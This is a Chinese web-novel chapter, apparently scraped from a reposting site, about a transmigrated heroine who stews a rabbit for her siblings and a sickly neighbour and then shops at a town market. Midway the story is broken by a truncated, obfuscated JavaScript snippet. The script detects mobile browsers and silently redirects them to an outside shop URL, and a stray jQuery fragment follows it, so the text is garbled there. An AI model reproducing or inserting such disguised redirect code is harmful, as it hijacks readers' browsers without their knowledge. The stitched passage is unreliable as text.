文趣网 > 其他小说 > 我在岭南开荒致富 > 5. 吃兔肉
    谢鸣昭来到院子里的墙角处,挖了棵生姜出来,等会煮兔子去腥用。

    又拔了一颗大白菜,准备等下一起炖了。

    她走到鸡笼跟前,看着那只大兔子,撸起袖子打开鸡笼一把揪住兔子的后颈皮,拖出鸡笼的同时赶紧关好鸡笼,不让其余的兔子跑出来。

    双腿夹住兔子的身体,一只手揪住后颈皮,另一只手拿起菜刀麻利割喉放血。

    放完血后就开始剥皮。

    裴书尧外出,路过谢家门口,刚巧就看见谢鸣昭在剥皮,场面血腥露骨,他一时僵在原地。

    怎么丞相府的女子跟他所知道的不太一样?

    谢鸣昭察觉到有人在盯着她看,一抬头,就看见裴书尧一脸菜色盯着自己。

    僵在原地,一动不动的。

    她手里提着兔子,连忙走到裴书尧跟前,关心道:“裴公子,你没事吧?”

    听到谢鸣昭的呼唤,裴书尧这才反应过来,他扯了扯嘴角,露勉强的笑了起来,“我,我没事。谢姑娘是在杀兔子?”

    “对,”谢鸣昭晃了晃手里血淋淋的兔子,脸上挂着浅浅温婉的笑容,“下午上山遇到一窝兔子,就抓回来给两个小孩开开荤。”

    “那......那挺好,我还有事,先回去了。”

    裴书尧没想到她顶着一张柔和动人的容貌面不改色地做着那样血腥的事,他感到极大的震撼,需要时间缓和一下。

    谢鸣昭察觉到裴书尧的表情怪怪的,正摸不着头脑的时候视线落在手里的兔子上,瞬间悟了。

    原来是被她吓的。

    嗐,书生嘛,胆小也正常。

    ......

    兔子剁成小块,入滚水焯去血沫,倒入锅里,加上生姜和盐就这么炖着。

    等到煮开后,就把兔血倒入锅里一起煮。兔血能补血,最适合营养不良的人吃了。

    香味很快就漫满厨房,飘到屋外。

    等到大火收汁时,再把洗干净的大白菜倒入锅里一起炖。

    片刻,掀开锅盖翻搅几下即可。

    谢鸣泽和谢鸣月两人就趴在灶台上,眼巴巴盯着锅里,口水沿着嘴角直接流了出来。

    谢鸣昭也不恼,眉眼弯弯满眼笑意,“阿泽,快去拿两个碗过来。”

    “哎。”

    谢鸣泽很快就拿了两个大碗过来。

    她盛满了一碗,又装了一碗,吩咐谢鸣泽,“快,拿去给书尧哥。”

    “好嘞!”

    谢鸣泽端起碗撒腿就往外跑。

    谢鸣昭看着谢鸣泽风风火火的模样,轻笑一声,“怪活泼的。”

    她看向谢鸣月,“阿月,快去坐好。”

    “嗯!”

    谢鸣月听话地跑到饭桌前坐好。

    谢鸣昭把兔肉端上来,又盛了三碗米饭,等着谢鸣泽回来一起吃。

    -

    裴书尧也在做饭,很快就把谢鸣昭杀兔子的画面抛之脑后。

    他一个人在家伙食比较简单,熬个粥,炒个青菜就算一顿了。

    他久病缠身,也不知道能活到什么时候,能活一天他就好好活一天,秉着这样的思想,他从未自怨自艾。

    他拿起一根木柴,一端用脚踩着,另一端用手掰着,就这样简单的活,他都废了好大的力气才把木柴掰断。

    这时,院门被打开,接着就是一阵咚咚咚的脚步声。

    “书尧哥!”

    是谢鸣泽。

    他赶紧走出厨房,看着谢鸣泽手里端着碗往这边跑来。

    “怎么了?慢点跑!”

    “姐姐让我给你送兔肉。”

    谢鸣泽把碗径直放在灶台上,转身就跑,结果看见地上的长条木柴,他二话不说拿起木柴掰成适合的长度。

    “鸣泽,你快把这肉拿回去。”

    谢鸣泽一边掰木柴一边说:“我不拿,要拿你自己拿去,等下姐姐生气了我就不理你了。”

    裴书尧:......

    “我这身体吃了浪费。”

    “那你自己跟她说去。”

    谢鸣泽油盐不进,眼里只有姐姐的话,别人的话根本听不进去。

    他三两下就把木柴掰好,甚至还帮裴书尧把木柴都叠整齐,拍拍手撒腿就跑。

    家里还等着他吃饭呢。

    裴书尧一个尔康手,望着谢鸣泽消失在门口,视线落在那碗兔肉上,心中百感交集。

    “哎,又给别人添麻烦了。”

    最后,他还是吃了那碗肉。

    -

    “哇!姐姐,这肉好好吃啊!”

    谢鸣月吃到肉,直接惊呼起来。谢鸣泽则比较精了,不语只一味地吃肉。

    谢鸣昭看着这两个孩子吃得狼吞虎咽的,也怕他们太久没吃过肉,吃多了撑到了,连忙叮嘱道:“慢点吃,小心肚子痛。”

    一听到会生病,两娃赶紧放慢速度,把米饭和肉嚼烂了才咽下肚。

    谢鸣昭夹了一块兔肉吃着,肉炖得软烂,调味料虽少,但味道却是十足的鲜甜,毕竟这兔子是从死亡到锅里不超过一刻钟。

    她想起现代粤省的饮食也是偏清淡的,注重食材本身的味道,讲究一个鲜字。

    有机会打个边炉吃吃。

    吃完饭后,谢鸣昭烧水准备洗澡。

    三月份白日虽然热,但到了晚上还是有点冷的。

    还是洗个热水澡再睡觉比较舒服。

    两个孩子脸上和手上都是黑漆漆的,想必苏怡离开这段时间,没有人督促他们洗漱,就变了样了。

    谢鸣昭亲自督促他们洗澡,知道把脸上和手上的污泥洗干净后才准他们上床。

    谢鸣月想挨着谢鸣昭睡,她拗不过,只能由着她了。

    谢鸣泽自己一间房。

    被子有股湿臭味,应该是用了很久的了,不过不碍事,她能接受。

    穿越了不知道多少次,什么艰难的条件她没经历过。

    两人躺在床上,谢鸣月兴奋得睡不着觉,一直缠着谢鸣昭讲相府里的事情。

    她想了想,就把教书先生是怎么罚她抄书的事情说了出来。

    可尽管这样,谢鸣月依然觉得有趣。

    “姐姐,你会离开我们吗?”

    谢鸣月一直都觉得不太安心,毕竟一起长大的姐姐说走就走了,然后上天又派了个姐姐回来,还让她吃饱饭,甚至吃上肉,她觉得很幸福。

    但又怕这种幸福明天睡醒就会消失不见。

    谢鸣昭知道这孩子是在担心自己也会像苏怡那样离开他们,便语重心长地跟她说:“我是你们的姐姐,我不会离开你们的。”

    “不要怨恨你苏怡姐姐好吗?我们只是回归到自己原本的位置,日子还要过下去,要向前看好吗?”

    昏暗下,谢鸣昭看不清谢鸣月的表情,她只是轻声嗯了一声,没再说话。

    卯时中(早上六点),天还暗着,谢家三姐弟已经在村口等着张猎户了。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815467|211041||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >今天是去镇上墟市的日子,两个娃娃格外兴奋,早早就醒了,根本不用她喊。

    坐着张猎户的驴车,摇摇晃晃往墟市的方向前进。一路上,两个孩子叽叽喳喳说个不停,不是问谢鸣昭京城的事情,就是问张猎户在山上的事。

    直到张猎户讲了个鬼故事,成功把两个娃娃吓到了,他们才安静下来。

    卯时末,四人才来到镇上的墟市。

    墟市人声鼎沸,熙熙攘攘,街道边摆满了各种摊位,有卖吃的,有卖穿的,还有卖各种小玩具的,两个娃娃眼睛都快看不过来了。

    与张猎户约好相遇的时间地点后,便分开行动了。

    谢鸣泽站在包子铺前,看着那冒热气的包子直流口水。

    谢鸣昭笑了笑,说:“老板,来三个肉包子,三个菜包子,再来三碗米粥。”

    “好嘞!”

    老板很快就包好了包子,“肉包子三文钱一个,菜包子一文钱一个,米粥一文钱一碗,一共十五文。”

    谢鸣昭付了钱,三人坐在饭桌前吃包子。

    肉包子皮薄馅大,菜包子清香,米粥清甜解腻,谢鸣泽和谢鸣月两人吃得满嘴流油,吃完了还一脸意犹未尽的模样。

    吃完早饭后,药铺还没开门,要辰中(早上八点)才开门。

    三人就随意逛着,两小孩看什么都新奇,谢鸣昭就跟在后面笑着。

    三人来到一个卖发带的摊位前,谢鸣月直接走不动道了。

    那发带颜色鲜艳,上面还带朵小花,简单中又带着刻意的小心思。

    但谢鸣月没有开口要。

    谢鸣昭知道她的心思,她的眼睛直勾勾盯着那发带,亮晶晶的,想摸又不敢摸,就站在前面看着。

    “小妹妹,要不要试试这个发带啊,很好看的,八文钱一条。”

    谢鸣月的头摇如拨浪鼓。

    谢鸣昭上前,“老板,麻烦帮她试一下这个粉色的。”

    “好。”

    老板拿起一条粉色的发带,用梳子将她的头发梳顺,将发带三两下就绑在头发上。谢鸣昭则将老板的手法记了下来,回去好教谢鸣月自己绑。

    谢鸣月看着铜镜里的自己,笑得羞涩。

    “就要这个了。”

    谢鸣月受宠若惊,“谢谢姐姐!姐姐真好!”

    谢鸣昭看向谢鸣泽,“阿泽,你有没有想要的东西?”

    谢鸣泽想了想,“没有。”

    “那行。”

    谢鸣月牵着谢鸣昭的手,三人逛着逛着就来到一间成衣铺。

    “老板,帮我们三个挑一套冬衣,两套夏衣,再给两个孩子备一双棉鞋和草鞋,三双棉袜。”

    三月到五月这段时间,冷空气没有彻底离开,还会时不时反扑,棉衣最好还是要备一些比较好。

    “好嘞!”

    老板见有生意,立刻忙了起来。

    很快,成衣就备好了。

    谢鸣昭想了想,再给他们准备了一套较薄的夹棉内衣,这样方便天气变化时添减衣。

    一共花费五两一百文。

    谢鸣泽一听价格,吓得赶紧要退衣服,“姐姐,我的棉衣还能穿呢,我不要新衣服。”

    谢鸣月也跟着说,“我也不要新的,我们穿旧的就行。”

    谢鸣昭笑了,“怎么,穿旧的到时候冻感冒了我还得花钱给你们治病,到时候就不止四两银子了。”

    这么一说,谢鸣泽和谢鸣月就低下头来沉默不语。